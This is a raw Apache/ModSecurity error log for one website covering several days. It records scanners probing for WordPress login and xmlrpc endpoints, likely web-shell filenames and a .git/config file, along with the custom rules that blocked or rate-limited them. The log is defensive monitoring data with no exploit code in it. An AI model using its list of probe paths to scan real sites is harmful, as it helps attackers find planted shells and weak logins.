[Tue Apr 28 05:33:36.706564 2026] [:error] [pid 14686:tid 14689] [client 4.193.121.6:10706] [client 4.193.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_WMO-YPF1Xm7uiWQ4mDAAAAMA"]
[Tue Apr 28 05:33:37.061307 2026] [:error] [pid 14686:tid 14705] [client 4.193.121.6:4020] [client 4.193.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_WMe-YPF1Xm7uiWQ4mDwAAANA"]
[Tue Apr 28 06:31:04.078189 2026] [:error] [pid 56602:tid 56617] [client 152.42.168.53:58545] [client 152.42.168.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.168.53, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ae_jqPCwhMxzNW_lZSw7tAAAAQ0"]
[Tue Apr 28 06:31:04.082815 2026] [:error] [pid 56602:tid 56617] [client 152.42.168.53:58545] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 28 06:31:07.426132 2026] [:error] [pid 14578:tid 14621] [client 152.42.168.53:59081] [client 152.42.168.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.168.53, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ae_jq-ngo3AwIJgfSHEQMgAAAEg"]
[Tue Apr 28 06:31:07.431684 2026] [:error] [pid 14578:tid 14621] [client 152.42.168.53:59081] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 28 07:27:19.378054 2026] [:error] [pid 33776:tid 33824] [client 152.42.165.93:52822] [client 152.42.165.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.165.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ae_w11-bEJ2CKP3iKAC1OQAAAFA"], referer: https://www.google.com/
[Tue Apr 28 07:27:19.381943 2026] [:error] [pid 33776:tid 33824] [client 152.42.165.93:52822] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.com/
[Tue Apr 28 07:27:20.012490 2026] [:error] [pid 33776:tid 33832] [client 152.42.165.93:52906] [client 152.42.165.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.165.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ae_w2F-bEJ2CKP3iKAC1PgAAAFg"]
[Tue Apr 28 07:27:20.017109 2026] [:error] [pid 33776:tid 33832] [client 152.42.165.93:52906] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 28 07:52:10.344461 2026] [:error] [pid 33776:tid 33832] [client 20.123.33.13:9639] File does not exist: /usr/local/apache/htdocs/suspended-page/dd.php
[Tue Apr 28 07:52:10.598712 2026] [:error] [pid 33776:tid 33815] [client 20.123.33.13:9639] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Tue Apr 28 07:52:10.852310 2026] [:error] [pid 33776:tid 33810] [client 20.123.33.13:9639] File does not exist: /usr/local/apache/htdocs/suspended-page/like.php
[Tue Apr 28 09:05:08.528081 2026] [:error] [pid 50889:tid 50893] [client 142.248.80.119:53836] [client 142.248.80.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.248.80.119, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afAHxIzszBr00txEzGiVEwAAAAE"]
[Tue Apr 28 09:05:08.536229 2026] [:error] [pid 50889:tid 50893] [client 142.248.80.119:53836] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 28 09:40:53.729021 2026] [:error] [pid 33777:tid 33846] [client 152.42.168.53:57400] [client 152.42.168.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.168.53, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "afAQJbXUCFWqmordGGLpVQAAAQs"]
[Tue Apr 28 09:40:53.732749 2026] [:error] [pid 33777:tid 33846] [client 152.42.168.53:57400] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 28 10:44:49.935012 2026] [:error] [pid 2741:tid 2757] [client 194.26.192.253:57430] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Tue Apr 28 10:44:50.960490 2026] [:error] [pid 2741:tid 2753] [client 194.26.192.253:57581] [client 194.26.192.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afAfIvp92FeOz1h6ILw1MAAAAUc"]
[Tue Apr 28 10:44:51.467280 2026] [:error] [pid 33776:tid 33812] [client 194.26.192.253:57669] [client 194.26.192.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afAfI1-bEJ2CKP3iKADchQAAAEQ"]
[Tue Apr 28 10:44:51.970044 2026] [:error] [pid 33776:tid 33816] [client 194.26.192.253:57749] [client 194.26.192.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afAfI1-bEJ2CKP3iKADchwAAAEg"]
[Tue Apr 28 10:44:52.981205 2026] [:error] [pid 33864:tid 33872] [client 194.26.192.253:57896] [client 194.26.192.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/txets.php"] [unique_id "afAfJDXchLGZ4QggCsm3eQAAAIY"]
[Tue Apr 28 10:44:53.486880 2026] [:error] [pid 2741:tid 2750] [client 194.26.192.253:57960] File does not exist: /usr/local/apache/htdocs/suspended-page/schallfuns.php
[Tue Apr 28 10:44:53.996843 2026] [:error] [pid 50889:tid 50896] [client 194.26.192.253:58029] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Tue Apr 28 14:03:41.773711 2026] [:error] [pid 50889:tid 50897] [client 172.213.8.172:11874] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Tue Apr 28 14:03:42.761350 2026] [:error] [pid 50889:tid 50899] [client 172.213.8.172:11874] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php
[Tue Apr 28 14:03:43.262822 2026] [:error] [pid 50889:tid 50912] [client 172.213.8.172:11874] File does not exist: /usr/local/apache/htdocs/suspended-page/0.php
[Tue Apr 28 14:03:43.546663 2026] [:error] [pid 50889:tid 50892] [client 172.213.8.172:11874] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Tue Apr 28 14:03:43.793849 2026] [:error] [pid 50889:tid 50911] [client 172.213.8.172:11874] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Tue Apr 28 14:03:44.060148 2026] [:error] [pid 50889:tid 50895] [client 172.213.8.172:11874] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "afBNwIzszBr00txEzGj14gAAAAM"]
[Tue Apr 28 14:03:45.161974 2026] [:error] [pid 33777:tid 33840] [client 172.213.8.172:15016] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "afBNwbXUCFWqmordGGJLbQAAAQU"]
[Tue Apr 28 14:03:46.184931 2026] [:error] [pid 33777:tid 33836] [client 172.213.8.172:12868] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "afBNwrXUCFWqmordGGJLcAAAAQE"]
[Tue Apr 28 14:03:47.245811 2026] [:error] [pid 2741:tid 2762] [client 172.213.8.172:15607] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "afBNw_p92FeOz1h6ILyFtQAAAVA"]
[Tue Apr 28 21:56:41.849191 2026] [:error] [pid 2741:tid 2748] [client 89.64.171.14:22797] [client 89.64.171.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.64.171.14, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afC8mfp92FeOz1h6ILwNhQAAAUI"]
[Tue Apr 28 21:56:41.854256 2026] [:error] [pid 2741:tid 2748] [client 89.64.171.14:22797] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue Apr 28 23:58:46.295798 2026] [:error] [pid 2741:tid 2764] [client 34.11.130.72:35438] [client 34.11.130.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "afDZNvp92FeOz1h6ILws_gAAAVI"]
[Wed Apr 29 10:24:48.891465 2026] [:error] [pid 61539:tid 61553] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Apr 29 10:24:49.095497 2026] [:error] [pid 61539:tid 61548] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Wed Apr 29 10:24:49.564822 2026] [:error] [pid 61539:tid 61565] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Wed Apr 29 10:24:49.758525 2026] [:error] [pid 61539:tid 61547] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Apr 29 10:24:50.211899 2026] [:error] [pid 61539:tid 61550] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Wed Apr 29 10:24:50.408531 2026] [:error] [pid 61539:tid 61546] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Wed Apr 29 10:24:50.601075 2026] [:error] [pid 61539:tid 61551] [client 20.12.211.211:3944] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Wed Apr 29 10:24:52.520557 2026] [:error] [pid 61539:tid 61558] [client 20.12.211.211:3944] [client 20.12.211.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afFr9F3XmLvOLqFtXVEiDQAAAA8"]
[Wed Apr 29 10:24:56.284392 2026] [:error] [pid 61539:tid 61564] [client 20.12.211.211:3256] [client 20.12.211.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afFr-F3XmLvOLqFtXVEiEwAAABU"]
[Wed Apr 29 10:24:58.067591 2026] [:error] [pid 61628:tid 61654] [client 20.12.211.211:3208] [client 20.12.211.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afFr-vXzdLVcrP-YPZgIJAAAANU"]
[Wed Apr 29 10:25:05.116753 2026] [:error] [pid 61541:tid 61614] [client 20.12.211.211:3837] [client 20.12.211.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afFsAVoqNK1GZvjPpy5TDgAAAg4"]
[Wed Apr 29 15:40:12.650085 2026] [:error] [pid 45054:tid 45062] [client 45.119.85.39:58475] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG13ItL6SUL31r23c-kIgAAAoY"], referer: https://www.google.com
[Wed Apr 29 15:40:12.650168 2026] [:error] [pid 45054:tid 45062] [client 45.119.85.39:58475] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 175"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG13ItL6SUL31r23c-kIgAAAoY"], referer: https://www.google.com
[Thu Apr 30 01:35:20.411048 2026] [:error] [pid 21137:tid 21178] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php
[Thu Apr 30 01:35:20.653813 2026] [:error] [pid 21137:tid 21192] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Thu Apr 30 01:35:20.896571 2026] [:error] [pid 21137:tid 21186] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Apr 30 01:35:21.151039 2026] [:error] [pid 21137:tid 21169] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Thu Apr 30 01:35:21.393691 2026] [:error] [pid 21137:tid 21173] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Thu Apr 30 01:35:21.635942 2026] [:error] [pid 21137:tid 21182] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 30 01:35:21.885353 2026] [:error] [pid 21137:tid 21187] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Thu Apr 30 01:35:22.128147 2026] [:error] [pid 21137:tid 21179] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Thu Apr 30 01:35:22.393147 2026] [:error] [pid 21137:tid 21185] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 30 01:35:22.635849 2026] [:error] [pid 21137:tid 21177] [client 158.158.98.94:36107] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 30 01:35:23.117976 2026] [:error] [pid 21137:tid 21175] [client 158.158.98.94:36107] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afJBW_w-HnaioFPIurWSFQAAAAY"]
[Thu Apr 30 01:35:24.151139 2026] [:error] [pid 21536:tid 21558] [client 158.158.98.94:32034] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afJBXCREaVkH9P5H_LRGUAAAAJQ"]
[Thu Apr 30 01:35:25.129349 2026] [:error] [pid 21137:tid 21191] [client 158.158.98.94:32063] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afJBXfw-HnaioFPIurWSFgAAABY"]
[Thu Apr 30 01:35:26.112048 2026] [:error] [pid 21227:tid 21254] [client 158.158.98.94:7752] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminfuns.php"] [unique_id "afJBXsB3c6U5AGPPsXqskAAAANU"]
[Thu Apr 30 08:19:24.960441 2026] [:error] [pid 52350:tid 52369] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Thu Apr 30 08:19:25.202390 2026] [:error] [pid 52350:tid 52382] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 30 08:19:25.687668 2026] [:error] [pid 52350:tid 52372] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Thu Apr 30 08:19:26.176688 2026] [:error] [pid 52350:tid 52359] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Apr 30 08:19:26.418090 2026] [:error] [pid 52350:tid 52362] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 30 08:19:26.659817 2026] [:error] [pid 52350:tid 52370] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Thu Apr 30 08:19:26.901624 2026] [:error] [pid 52350:tid 52357] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 30 08:19:27.143098 2026] [:error] [pid 52350:tid 52368] [client 158.158.98.94:30843] File does not exist: /usr/local/apache/htdocs/suspended-page/meta.php
[Thu Apr 30 08:19:27.381229 2026] [:error] [pid 52350:tid 52367] [client 158.158.98.94:30843] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afKgD_1j4GHE9hm7bfdanwAAAQk"]
[Thu Apr 30 08:19:28.388512 2026] [:error] [pid 52436:tid 52454] [client 158.158.98.94:30829] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afKgEALFWPk_P7AfE8f--QAAAU8"]
[Thu Apr 30 08:19:29.385471 2026] [:error] [pid 52350:tid 52361] [client 158.158.98.94:34309] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afKgEf1j4GHE9hm7bfdaogAAAQM"]
[Thu Apr 30 08:19:30.398680 2026] [:error] [pid 18220:tid 18236] [client 158.158.98.94:30331] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "afKgEsyESVSfAPebmxYAsgAAAM0"]
[Thu Apr 30 14:23:55.341967 2026] [:error] [pid 18111:tid 18144] [client 158.158.98.94:32001] [client 158.158.98.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.158.98.94, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afL1e2ctLbxB7Q1_oK0W-QAAABY"]
[Thu Apr 30 14:23:55.345780 2026] [:error] [pid 18111:tid 18144] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu Apr 30 14:23:55.874638 2026] [:error] [pid 18111:tid 18136] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 30 14:23:56.138387 2026] [:error] [pid 18111:tid 18135] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 30 14:23:56.680878 2026] [:error] [pid 18111:tid 18132] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Thu Apr 30 14:23:56.944740 2026] [:error] [pid 18111:tid 18139] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Thu Apr 30 14:23:57.209751 2026] [:error] [pid 18111:tid 18125] [client 158.158.98.94:32001] File does not exist: /usr/local/apache/htdocs/suspended-page/abc.php
[Thu Apr 30 14:23:58.264551 2026] [:error] [pid 18111:tid 18126] [client 158.158.98.94:32001] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bak.php"] [unique_id "afL1fmctLbxB7Q1_oK0XCQAAAAQ"]
[Thu Apr 30 14:23:59.249073 2026] [:error] [pid 18220:tid 18233] [client 158.158.98.94:8039] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bak.php"] [unique_id "afL1f8yESVSfAPebmxYqPgAAAMo"]
[Thu Apr 30 14:24:00.274958 2026] [:error] [pid 52436:tid 52463] [client 158.158.98.94:32048] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bak.php"] [unique_id "afL1gALFWPk_P7AfE8chBwAAAVg"]
[Thu Apr 30 14:24:01.255835 2026] [:error] [pid 52350:tid 52382] [client 158.158.98.94:31575] [client 158.158.98.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bak.php"] [unique_id "afL1gf1j4GHE9hm7bfeKkQAAARg"]
[Fri May 01 04:40:06.332805 2026] [:error] [pid 38016:tid 38089] [client 94.30.46.2:62543] [client 94.30.46.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.30.46.2, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afO-JpFc1DCPy0LM72bXOwAAAIs"]
[Fri May 01 04:40:06.339646 2026] [:error] [pid 38016:tid 38089] [client 94.30.46.2:62543] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 01 05:07:34.305632 2026] [:error] [pid 6046:tid 6107] [client 104.28.214.115:57983] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "afPEloyBrpmb1HMIbiTEgAAAAZc"]
